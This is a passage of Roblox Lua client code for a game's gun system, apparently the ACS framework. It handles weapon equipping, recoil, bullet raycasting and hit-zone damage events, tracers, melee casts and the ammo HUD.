end
if WeaponData.EnableHUD then
SE_GUI.GunHUD.Visible = true
end
UpdateGui()
for index, key in pairs(WeaponInHand:GetChildren()) do
if key:IsA('BasePart') and key.Name ~= 'Handle' then
if key.Name ~= "Bolt" and key.Name ~= 'Lid' and key.Name ~= "Slide" then
Ultil.Weld(WeaponInHand:WaitForChild("Handle"), key)
end
if key.Name == "Bolt" or key.Name == "Slide" then
Ultil.WeldComplex(WeaponInHand:WaitForChild("Handle"), key, key.Name)
end;
if key.Name == "Lid" then
if WeaponInHand:FindFirstChild('LidHinge') then
Ultil.Weld(key, WeaponInHand:WaitForChild("LidHinge"))
else
Ultil.Weld(key, WeaponInHand:WaitForChild("Handle"))
end
end
end
end;
for L_213_forvar1, L_214_forvar2 in pairs(WeaponInHand:GetChildren()) do
if L_214_forvar2:IsA('BasePart') then
L_214_forvar2.Anchored = false
L_214_forvar2.CanCollide = false
end
end;
if WeaponInHand:FindFirstChild("Nodes") then
for L_213_forvar1, L_214_forvar2 in pairs(WeaponInHand.Nodes:GetChildren()) do
if L_214_forvar2:IsA('BasePart') then
Ultil.Weld(WeaponInHand:WaitForChild("Handle"), L_214_forvar2)
L_214_forvar2.Anchored = false
L_214_forvar2.CanCollide = false
end
end;
end
GunWeld.Part1 = WeaponInHand:WaitForChild("Handle")
GunWeld.C1 = guncf
--WeaponInHand:SetPrimaryPartCFrame( RArm.CFrame * guncf)
WeaponInHand.Parent = ViewModel
if Ammo <= 0 and WeaponData.Type == "Gun" then
WeaponInHand.Handle.Slide.C0 = WeaponData.SlideEx:inverse()
end
EquipAnim()
if WeaponData and WeaponData.Type ~= "Grenade" then
RunCheck()
end
end
function unset()
ToolEquip = false
Evt.Equip:FireServer(WeaponTool,2)
--unsetup weapon data module
CAS:UnbindAction("Fire")
CAS:UnbindAction("ADS")
CAS:UnbindAction("Reload")
CAS:UnbindAction("CycleLaser")
CAS:UnbindAction("CycleLight")
CAS:UnbindAction("CycleFiremode")
CAS:UnbindAction("CycleAimpart")
CAS:UnbindAction("ZeroUp")
CAS:UnbindAction("ZeroDown")
CAS:UnbindAction("CheckMag")
mouse1down = false
aimming = false
TS:Create(cam,AimTween,{FieldOfView = 70}):Play()
TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play()
User.MouseIconEnabled = true
game:GetService('UserInputService').MouseDeltaSensitivity = 1
cam.CameraType = Enum.CameraType.Custom
plr.CameraMode = Enum.CameraMode.Classic
if WeaponInHand then
if WeaponData.Type == "Gun" then
local chambered = true
if WeaponData.Jammed or Ammo < 1 then chambered = false end
Evt.RepAmmo:FireServer(WeaponTool,Ammo,StoredAmmo,WeaponData.Jammed)
--WeaponData.AmmoInGun = Ammo
--WeaponData.StoredAmmo = StoredAmmo
end
ViewModel:Destroy()
ViewModel = nil
WeaponInHand = nil
WeaponTool = nil
LArm = nil
RArm = nil
LArmWeld = nil
RArmWeld = nil
WeaponData = nil
AnimData = nil
SightAtt = nil
reticle = nil
BarrelAtt = nil
UnderBarrelAtt = nil
OtherAtt = nil
LaserAtt = false
LaserActive = false
IRmode = false
TorchAtt = false
TorchActive = false
BipodAtt = false
BipodActive = false
LaserDist = 0
Pointer = nil
BSpread = nil
RecoilPower = nil
Suppressor = false
FlashHider = false
CancelReload = false
reloading = false
SafeMode = false
CheckingMag = false
GRDebounce = false
CookGrenade = false
GunStance = 0
resetMods()
generateBullet = 1
AimPartMode = 1
SE_GUI.GunHUD.Visible = false
SE_GUI.GrenadeForce.Visible = false
BipodCF = CFrame.new()
if gameRules.ReplicatedLaser then
Evt.SVLaser:FireServer(nil,2,nil,false,WeaponTool)
end
end
--if runKeyDown then
-- SetWalkSpeed(gameRules.RunWalkSpeed)
--elseif Crouched then
-- SetWalkSpeed(gameRules.CrouchWalkSpeed)
--elseif Proned then
-- SetWalkSpeed(gameRules.ProneWalkSpeed)
--elseif Steady then
-- SetWalkSpeed(gameRules.SlowPaceWalkSpeed)
--else
-- SetWalkSpeed(gameRules.NormalWalkSpeed)
--end
end
local HalfStep = false
function HeadMovement()
if gameRules.HeadMovement or WeaponInHand then
if not char:FindFirstChild("HumanoidRootPart") or not char:FindFirstChild("Humanoid") or char.Humanoid.Health <= 0 then return; end;
if char.Humanoid.RigType == Enum.HumanoidRigType.R15 then return; end;
if not ACS_Client or ACS_Client:GetAttribute("Collapsed") then return; end;
local CameraDirection = char.HumanoidRootPart.CFrame:toObjectSpace(cam.CFrame).lookVector
if Neck then
HalfStep = not HalfStep
local neckCFrame = CFNew(0, -.5, 0) * CFAng(0, Asin(CameraDirection.x)/1.15, 0) * CFAng(-Asin(cam.CFrame.LookVector.y)+Asin(char.Torso.CFrame.lookVector.Y), 0, 0) * CFAng(-math.rad(90), 0, math.rad(180))
TS:Create(Neck, TweenInfo.new(.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0), {C1 = neckCFrame}):Play()
if not HalfStep then return; end;
Evt.HeadRot:FireServer(neckCFrame)
end
elseif not gameRules.HeadMovement then
local neckCFrame = CFrame.new(0,-0.5,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
TS:Create(Neck, TweenInfo.new(.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0), {C1 = neckCFrame}):Play()
Evt.HeadRot:FireServer(neckCFrame)
end
end
function renderCam()
cam.CFrame = cam.CFrame*CFrame.Angles(cameraspring.p.x,cameraspring.p.y,cameraspring.p.z)
end
function renderGunRecoil()
recoilcf = recoilcf*CFrame.Angles(RecoilSpring.p.x,RecoilSpring.p.y,RecoilSpring.p.z)
end
function Recoil()
local vr = (math.random(WeaponData.camRecoil.camRecoilUp[1], WeaponData.camRecoil.camRecoilUp[2])/2) * ModTable.camRecoilMod.RecoilUp
local lr = (math.random(WeaponData.camRecoil.camRecoilLeft[1], WeaponData.camRecoil.camRecoilLeft[2])) * ModTable.camRecoilMod.RecoilLeft
local rr = (math.random(WeaponData.camRecoil.camRecoilRight[1], WeaponData.camRecoil.camRecoilRight[2])) * ModTable.camRecoilMod.RecoilRight
local hr = (math.random(-rr, lr)/2)
local tr = (math.random(WeaponData.camRecoil.camRecoilTilt[1], WeaponData.camRecoil.camRecoilTilt[2])/2) * ModTable.camRecoilMod.RecoilTilt
local RecoilX = math.rad(vr * RAND( 1, 1, .1))
local RecoilY = math.rad(hr * RAND(-1, 1, .1))
local RecoilZ = math.rad(tr * RAND(-1, 1, .1))
local gvr = (math.random(WeaponData.gunRecoil.gunRecoilUp[1], WeaponData.gunRecoil.gunRecoilUp[2]) /10) * ModTable.gunRecoilMod.RecoilUp
local gdr = (math.random(-1,1) * math.random(WeaponData.gunRecoil.gunRecoilTilt[1], WeaponData.gunRecoil.gunRecoilTilt[2]) /10) * ModTable.gunRecoilMod.RecoilTilt
local glr = (math.random(WeaponData.gunRecoil.gunRecoilLeft[1], WeaponData.gunRecoil.gunRecoilLeft[2])) * ModTable.gunRecoilMod.RecoilLeft
local grr = (math.random(WeaponData.gunRecoil.gunRecoilRight[1], WeaponData.gunRecoil.gunRecoilRight[2])) * ModTable.gunRecoilMod.RecoilRight
local ghr = (math.random(-grr, glr)/10)
local ARR = WeaponData.AimRecoilReduction * ModTable.AimRM
if BipodActive then
cameraspring:accelerate(Vector3.new( RecoilX, RecoilY/2, 0 ))
if not aimming then
RecoilSpring:accelerate(Vector3.new( math.rad(.25 * gvr * RecoilPower), math.rad(.25 * ghr * RecoilPower), math.rad(.25 * gdr)))
recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad(.25 * gvr * RecoilPower ),math.rad(.25 * ghr * RecoilPower ),math.rad(.25 * gdr * RecoilPower ))
else
RecoilSpring:accelerate(Vector3.new( math.rad( .25 * gvr * RecoilPower/ARR) , math.rad(.25 * ghr * RecoilPower/ARR), math.rad(.25 * gdr/ ARR)))
recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad(.25 * gvr * RecoilPower/ARR ),math.rad(.25 * ghr * RecoilPower/ARR ),math.rad(.25 * gdr * RecoilPower/ARR ))
end
Thread:Wait(0.05)
cameraspring:accelerate(Vector3.new(-RecoilX, -RecoilY/2, 0))
else
cameraspring:accelerate(Vector3.new( RecoilX , RecoilY, RecoilZ ))
if not aimming then
RecoilSpring:accelerate(Vector3.new( math.rad(gvr * RecoilPower), math.rad(ghr * RecoilPower), math.rad(gdr)))
recoilcf = recoilcf * CFrame.new(0,-0.05,.1) * CFrame.Angles( math.rad( gvr * RecoilPower ),math.rad( ghr * RecoilPower ),math.rad( gdr * RecoilPower ))
else
RecoilSpring:accelerate(Vector3.new( math.rad(gvr * RecoilPower/ARR) , math.rad(ghr * RecoilPower/ARR), math.rad(gdr/ ARR)))
recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad( gvr * RecoilPower/ARR ),math.rad( ghr * RecoilPower/ARR ),math.rad( gdr * RecoilPower/ARR ))
end
end
end
function CheckForHumanoid(L_225_arg1)
local L_226_ = false
local L_227_ = nil
if L_225_arg1 then
if (L_225_arg1.Parent:FindFirstChildOfClass("Humanoid") or L_225_arg1.Parent.Parent:FindFirstChildOfClass("Humanoid")) then
L_226_ = true
if L_225_arg1.Parent:FindFirstChildOfClass('Humanoid') then
L_227_ = L_225_arg1.Parent:FindFirstChildOfClass('Humanoid')
elseif L_225_arg1.Parent.Parent:FindFirstChildOfClass('Humanoid') then
L_227_ = L_225_arg1.Parent.Parent:FindFirstChildOfClass('Humanoid')
end
else
L_226_ = false
end
end
return L_226_, L_227_
end
function CastRay(Bullet, Origin)
if not Bullet then return; end;
local Bpos = Bullet.Position
local Bpos2 = cam.CFrame.Position
local recast = false
local TotalDistTraveled = 0
local Debounce = false
local raycastResult
local raycastParams = RaycastParams.new()
raycastParams.FilterDescendantsInstances = Ignore_Model
raycastParams.FilterType = Enum.RaycastFilterType.Blacklist
raycastParams.IgnoreWater = true
while Bullet do
Run.Heartbeat:Wait()
if not Bullet.Parent then break; end;
Bpos = Bullet.Position
TotalDistTraveled = (Bullet.Position - Origin).Magnitude
if TotalDistTraveled > 7000 then
Bullet:Destroy()
Debounce = true
break
end
for _, plyr in pairs(game.Players:GetPlayers()) do
if Debounce or plyr == plr or not plyr.Character or not plyr.Character:FindFirstChild('Head') or (plyr.Character.Head.Position - Bpos).magnitude > 25 then continue; end;
Evt.Whizz:FireServer(plyr)
Evt.Suppression:FireServer(plyr,1,nil,nil)
Debounce = true
end
-- Set an origin and directional vector
raycastResult = workspace:Raycast(Bpos2, (Bpos - Bpos2) * 1, raycastParams)
recast = false
if raycastResult then
local Hit2 = raycastResult.Instance
if Hit2 and Hit2.Parent:IsA('Accessory') or Hit2.Parent:IsA('Hat') then
for _,players in pairs(game.Players:GetPlayers()) do
if players.Character then
for i, hats in pairs(players.Character:GetChildren()) do
if hats:IsA("Accessory") then
table.insert(Ignore_Model, hats)
end
end
end
end
recast = true
CastRay(Bullet, Origin)
break
end
if Hit2 and Hit2.Name == "Ignorable" or Hit2.Name == "Ignore" or Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then
table.insert(Ignore_Model, Hit2)
recast = true
CastRay(Bullet, Origin)
break
end
if Hit2 and Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then
table.insert(Ignore_Model, Hit2.Parent)
recast = true
CastRay(Bullet, Origin)
break
end
if Hit2 and (Hit2.Transparency >= 1 or Hit2.CanCollide == false) and Hit2.Name ~= 'Head' and Hit2.Name ~= 'Right Arm' and Hit2.Name ~= 'Left Arm' and Hit2.Name ~= 'Right Leg' and Hit2.Name ~= 'Left Leg' and Hit2.Name ~= "UpperTorso" and Hit2.Name ~= "LowerTorso" and Hit2.Name ~= "RightUpperArm" and Hit2.Name ~= "RightLowerArm" and Hit2.Name ~= "RightHand" and Hit2.Name ~= "LeftUpperArm" and Hit2.Name ~= "LeftLowerArm" and Hit2.Name ~= "LeftHand" and Hit2.Name ~= "RightUpperLeg" and Hit2.Name ~= "RightLowerLeg" and Hit2.Name ~= "RightFoot" and Hit2.Name ~= "LeftUpperLeg" and Hit2.Name ~= "LeftLowerLeg" and Hit2.Name ~= "LeftFoot" and Hit2.Name ~= 'Armor' and Hit2.Name ~= 'EShield' then
table.insert(Ignore_Model, Hit2)
recast = true
CastRay(Bullet, Origin)
break
end
if not recast then
Bullet:Destroy()
Debounce = true
local FoundHuman,VitimaHuman = CheckForHumanoid(raycastResult.Instance)
HitMod.HitEffect(Ignore_Model, raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData)
Evt.HitEffect:FireServer(raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData)
local HitPart = raycastResult.Instance
TotalDistTraveled = (raycastResult.Position - Origin).Magnitude
if FoundHuman == true and VitimaHuman.Health > 0 and WeaponData then
local SKP_02 = SKP_01.."-"..plr.UserId
if HitPart.Name == "Head" or HitPart.Parent.Name == "Top" or HitPart.Parent.Name == "Headset" or HitPart.Parent.Name == "Olho" or HitPart.Parent.Name == "Face" or HitPart.Parent.Name == "Numero" then
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 1, WeaponData, ModTable, nil, nil, SKP_02)
elseif HitPart.Name == "Torso" or HitPart.Name == "UpperTorso" or HitPart.Name == "LowerTorso" or HitPart.Parent.Name == "Chest" or HitPart.Parent.Name == "Waist" or HitPart.Name == "Right Arm" or HitPart.Name == "Left Arm" or HitPart.Name == "RightUpperArm" or HitPart.Name == "RightLowerArm" or HitPart.Name == "RightHand" or HitPart.Name == "LeftUpperArm" or HitPart.Name == "LeftLowerArm" or HitPart.Name == "LeftHand" then
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 2, WeaponData, ModTable, nil, nil, SKP_02)
elseif HitPart.Name == "Right Leg" or HitPart.Name == "Left Leg" or HitPart.Name == "RightUpperLeg" or HitPart.Name == "RightLowerLeg" or HitPart.Name == "RightFoot" or HitPart.Name == "LeftUpperLeg" or HitPart.Name == "LeftLowerLeg" or HitPart.Name == "LeftFoot" then
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 3, WeaponData, ModTable, nil, nil, SKP_02)
end
end
end
break
end
Bpos2 = Bpos
end
end
local Tracers = 0
function TracerCalculation()
if not WeaponData.Tracer and not WeaponData.BulletFlare then return false; end;
if WeaponData.RandomTracer.Enabled then
if math.random(1, 100) <= WeaponData.RandomTracer.Chance then return true; end;
return false;
end;
if Tracers >= WeaponData.TracerEveryXShots then
Tracers = 0;
return true;
end;
Tracers = Tracers + 1;
return false;
end;
function CreateBullet()
if WeaponData.IsLauncher then
for _, cPart in pairs(WeaponInHand:GetChildren()) do
if cPart.Name == "Warhead" then
cPart.Transparency = 1
end
end
end
local Bullet = Instance.new("Part",ACS_Workspace.Client)
Bullet.Name = plr.Name.."_Bullet"
Bullet.CanCollide = false
Bullet.Shape = Enum.PartType.Ball
Bullet.Transparency = 1
Bullet.Size = Vector3.new(1,1,1)
local Origin = WeaponInHand.Handle.Muzzle.WorldPosition
local Direction = WeaponInHand.Handle.Muzzle.WorldCFrame.LookVector + (WeaponInHand.Handle.Muzzle.WorldCFrame.UpVector * (((WeaponData.BulletDrop * WeaponData.CurrentZero/4)/WeaponData.MuzzleVelocity))/2)
local BulletCF = CFrame.new(Origin, Direction)
local WalkMul = WeaponData.WalkMult * ModTable.WalkMult
local BColor = Color3.fromRGB(255,255,255)
local balaspread
if aimming and WeaponData.Bullets <= 1 then
balaspread = CFrame.Angles(
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction)),
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction)),
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction))
)
else
balaspread = CFrame.Angles(
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10),
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10),
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10)
)
end
Direction = balaspread * Direction
local Visivel = TracerCalculation()
if WeaponData.RainbowMode then
BColor = Color3.fromRGB(math.random(0,255),math.random(0,255),math.random(0,255))
else
BColor = WeaponData.TracerColor
end
if Visivel then
if gameRules.ReplicatedBullets then
Evt.ServerBullet:FireServer(Origin,Direction,WeaponData,ModTable)
end
if WeaponData.Tracer == true then
local At1 = Instance.new("Attachment")
At1.Name = "At1"
At1.Position = Vector3.new(-(.05),0,0)
At1.Parent = Bullet
local At2 = Instance.new("Attachment")
At2.Name = "At2"
At2.Position = Vector3.new((.05),0,0)
At2.Parent = Bullet
local Particles = Instance.new("Trail")
Particles.Transparency = NumberSequence.new({
NumberSequenceKeypoint.new(0, 0, 0);
NumberSequenceKeypoint.new(1, 1);
}
)
Particles.WidthScale = NumberSequence.new({
NumberSequenceKeypoint.new(0, 2, 0);
NumberSequenceKeypoint.new(1, 1);
}
)
Particles.Color = ColorSequence.new(BColor)
Particles.Texture = "rbxassetid://232918622"
Particles.TextureMode = Enum.TextureMode.Stretch
Particles.FaceCamera = true
Particles.LightEmission = 1
Particles.LightInfluence = 0
Particles.Lifetime = .25
Particles.Attachment0 = At1
Particles.Attachment1 = At2
Particles.Parent = Bullet
end
if WeaponData.BulletFlare == true then
local bg = Instance.new("BillboardGui", Bullet)
bg.Adornee = Bullet
bg.Enabled = false
local flashsize = math.random(275, 375)/10
bg.Size = UDim2.new(flashsize, 0, flashsize, 0)
bg.LightInfluence = 0
local flash = Instance.new("ImageLabel", bg)
flash.BackgroundTransparency = 1
flash.Size = UDim2.new(1, 0, 1, 0)
flash.Position = UDim2.new(0, 0, 0, 0)
flash.Image = "http://www.roblox.com/asset/?id=1047066405"
flash.ImageTransparency = math.random(2, 5)/15
flash.ImageColor3 = BColor
spawn(function()
wait(.1)
if not Bullet:FindFirstChild("BillboardGui") then return; end;
Bullet.BillboardGui.Enabled = true
end)
end
end
local BulletMass = Bullet:GetMass()
local Force = Vector3.new(0,BulletMass * (196.2) - (WeaponData.BulletDrop) * (196.2), 0)
local BF = Instance.new("BodyForce",Bullet)
Bullet.CFrame = BulletCF
Bullet:ApplyImpulse(Direction * WeaponData.MuzzleVelocity * ModTable.MuzzleVelocity)
BF.Force = Force
game.Debris:AddItem(Bullet, 5)
CastRay(Bullet, Origin)
end
function meleeCast()
local recast
-- Set an origin and directional vector
local rayOrigin = cam.CFrame.Position
local rayDirection = cam.CFrame.LookVector * WeaponData.BladeRange
local raycastParams = RaycastParams.new()
raycastParams.FilterDescendantsInstances = Ignore_Model
raycastParams.FilterType = Enum.RaycastFilterType.Blacklist
raycastParams.IgnoreWater = true
local raycastResult = workspace:Raycast(rayOrigin, rayDirection, raycastParams)
if raycastResult then
local Hit2 = raycastResult.Instance
--Check if it's a hat or accessory
if Hit2 and Hit2.Parent:IsA('Accessory') then
for _,players in pairs(game.Players:GetPlayers()) do
if not players.Character then continue; end;
for i, hats in pairs(players.Character:GetChildren()) do
if not hats:IsA("Accessory") then continue; end;
table.insert(Ignore_Model, hats)
end
end
return meleeCast()
end
if Hit2 and Hit2.Name == "Ignorable" or Hit2.Name == "Ignore" or Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then
table.insert(Ignore_Model, Hit2)
return meleeCast()
end
if Hit2 and Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then
table.insert(Ignore_Model, Hit2.Parent)
return meleeCast()
end
if Hit2 and (Hit2.Transparency >= 1 or Hit2.CanCollide == false) and Hit2.Name ~= 'Head' and Hit2.Name ~= 'Right Arm' and Hit2.Name ~= 'Left Arm' and Hit2.Name ~= 'Right Leg' and Hit2.Name ~= 'Left Leg' and Hit2.Name ~= "UpperTorso" and Hit2.Name ~= "LowerTorso" and Hit2.Name ~= "RightUpperArm" and Hit2.Name ~= "RightLowerArm" and Hit2.Name ~= "RightHand" and Hit2.Name ~= "LeftUpperArm" and Hit2.Name ~= "LeftLowerArm" and Hit2.Name ~= "LeftHand" and Hit2.Name ~= "RightUpperLeg" and Hit2.Name ~= "RightLowerLeg" and Hit2.Name ~= "RightFoot" and Hit2.Name ~= "LeftUpperLeg" and Hit2.Name ~= "LeftLowerLeg" and Hit2.Name ~= "LeftFoot" and Hit2.Name ~= 'Armor' and Hit2.Name ~= 'EShield' then
table.insert(Ignore_Model, Hit2)
return meleeCast()
end
end
if not raycastResult then return; end;
local FoundHuman,VitimaHuman = CheckForHumanoid(raycastResult.Instance)
HitMod.HitEffect(Ignore_Model, raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData)
Evt.HitEffect:FireServer(raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData)
local HitPart = raycastResult.Instance
if not FoundHuman or VitimaHuman.Health <= 0 then return; end;
local SKP_02 = SKP_01.."-"..plr.UserId
if HitPart.Name == "Head" or HitPart.Parent.Name == "Top" or HitPart.Parent.Name == "Headset" or HitPart.Parent.Name == "Olho" or HitPart.Parent.Name == "Face" or HitPart.Parent.Name == "Numero" then
Thread:Spawn(function()
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 1, WeaponData, ModTable, nil, nil, SKP_02)
end)
elseif HitPart.Name == "Torso" or HitPart.Name == "UpperTorso" or HitPart.Name == "LowerTorso" or HitPart.Parent.Name == "Chest" or HitPart.Parent.Name == "Waist" or HitPart.Name == "RightUpperArm" or HitPart.Name == "RightLowerArm" or HitPart.Name == "RightHand" or HitPart.Name == "LeftUpperArm" or HitPart.Name == "LeftLowerArm" or HitPart.Name == "LeftHand" then
Thread:Spawn(function()
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 2, WeaponData, ModTable, nil, nil, SKP_02)
end)
elseif HitPart.Name == "Right Arm" or HitPart.Name == "Right Leg" or HitPart.Name == "Left Leg" or HitPart.Name == "Left Arm" or HitPart.Name == "RightUpperLeg" or HitPart.Name == "RightLowerLeg" or HitPart.Name == "RightFoot" or HitPart.Name == "LeftUpperLeg" or HitPart.Name == "LeftLowerLeg" or HitPart.Name == "LeftFoot" then
Thread:Spawn(function()
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 3, WeaponData, ModTable, nil, nil, SKP_02)
end)
end;
end;
function UpdateGui()
if not SE_GUI or not WeaponData then return; end;
local HUD = SE_GUI.GunHUD
HUD.NText.Text = WeaponData.gunName
HUD.BText.Text = WeaponData.BulletType
HUD.A.Visible = SafeMode
HUD.Att.Silencer.Visible = Suppressor
HUD.Att.Bipod.Visible = BipodAtt
HUD.Sens.Text = (Sens/100)
if WeaponData.Jammed then
HUD.B.BackgroundColor3 = Color3.fromRGB(255,0,0)
else
HUD.B.BackgroundColor3 = Color3.fromRGB(255,255,255)
end
if Ammo > 0 then
HUD.B.Visible = true
else
HUD.B.Visible = false
end
if WeaponData.ShootType == 1 then
HUD.FText.Text = "Semi"
elseif WeaponData.ShootType == 2 then
HUD.FText.Text = "Burst"
elseif WeaponData.ShootType == 3 then
HUD.FText.Text = "Auto"
elseif WeaponData.ShootType == 4 then
HUD.FText.Text = "Pump-Action"
elseif WeaponData.ShootType == 5 then
HUD.FText.Text = "Bolt-Action"
end
if WeaponData.EnableZeroing then
HUD.ZeText.Visible = true
HUD.ZeText.Text = WeaponData.CurrentZero .." m"
else
HUD.ZeText.Visible = false
end
if WeaponData.MagCount then
HUD.SAText.Text = math.ceil(StoredAmmo/WeaponData.Ammo)
HUD.Magazines.Visible = true
HUD.Bullets.Visible = false
else
HUD.SAText.Text = StoredAmmo
HUD.Magazines.Visible = false
HUD.Bullets.Visible = true
end
if LaserAtt then
HUD.Att.Laser.Visible = true
if LaserActive then
if IRmode then
TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(0,255,0), ImageTransparency = .123}):Play()
else
TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,255,255), ImageTransparency = .123}):Play()
end
else
TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,0,0), ImageTransparency = .5}):Play()
end
else
HUD.Att.Laser.Visible = false
end
if TorchAtt then
HUD.Att.Flash.Visible = true
if TorchActive then
TS:Create(HUD.Att.Flash, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,255,255), ImageTransparency = .123}):Play()
else
TS:Create(HUD.Att.Flash, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,0,0), ImageTransparency = .5}):Play()
end
else
HUD.Att.Flash.Visible = false
end
if WeaponData.Type == "Grenade" then
SE_GUI.GrenadeForce.Visible = true
else
SE_GUI.GrenadeForce.Visible = false
end
end
function CheckMagFunction()
if aimming then
aimming = false
ADS(aimming)
end
if SE_GUI then
local HUD = SE_GUI.GunHUD
TS:Create(HUD.CMText,TweenInfo.new(.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{TextTransparency = 0,TextStrokeTransparency = 0.75}):Play()
if Ammo >= WeaponData.Ammo then
HUD.CMText.Text = "Full"
elseif Ammo > math.floor((WeaponData.Ammo)*.75) and Ammo < WeaponData.Ammo then
HUD.CMText.Text = "Nearly full"
elseif Ammo < math.floor((WeaponData.Ammo)*.75) and Ammo > math.floor((WeaponData.Ammo)*.5) then
HUD.CMText.Text = "Almost half"
elseif Ammo == math.floor((WeaponData.Ammo)*.5) then
HUD.CMText.Text = "Half"
elseif Ammo > math.ceil((WeaponData.Ammo)*.25) and Ammo < math.floor((WeaponData.Ammo)*.5) then
HUD.CMText.Text = "Less than half"
elseif Ammo < math.ceil((WeaponData.Ammo)*.25) and Ammo > 0 then
HUD.CMText.Text = "Almost empty"
elseif Ammo == 0 then
HUD.CMText.Text = "Empty"
end
delay(.25,function()
TS:Create(HUD.CMText,TweenInfo.new(.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,5),{TextTransparency = 1,TextStrokeTransparency = 1}):Play()
end)
end
mouse1down = false
SafeMode = false
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
UpdateGui()
MagCheckAnim()
RunCheck()
end
function Grenade()
if GRDebounce then return; end;
GRDebounce = true;
GrenadeReady()
repeat wait() until not CookGrenade;
TossGrenade()
end
function TossGrenade()
if not WeaponTool or not WeaponData or not GRDebounce then return; end;
local SKP_02 = SKP_01.."-"..plr.UserId
GrenadeThrow()
if not WeaponTool or not WeaponData then return; end;
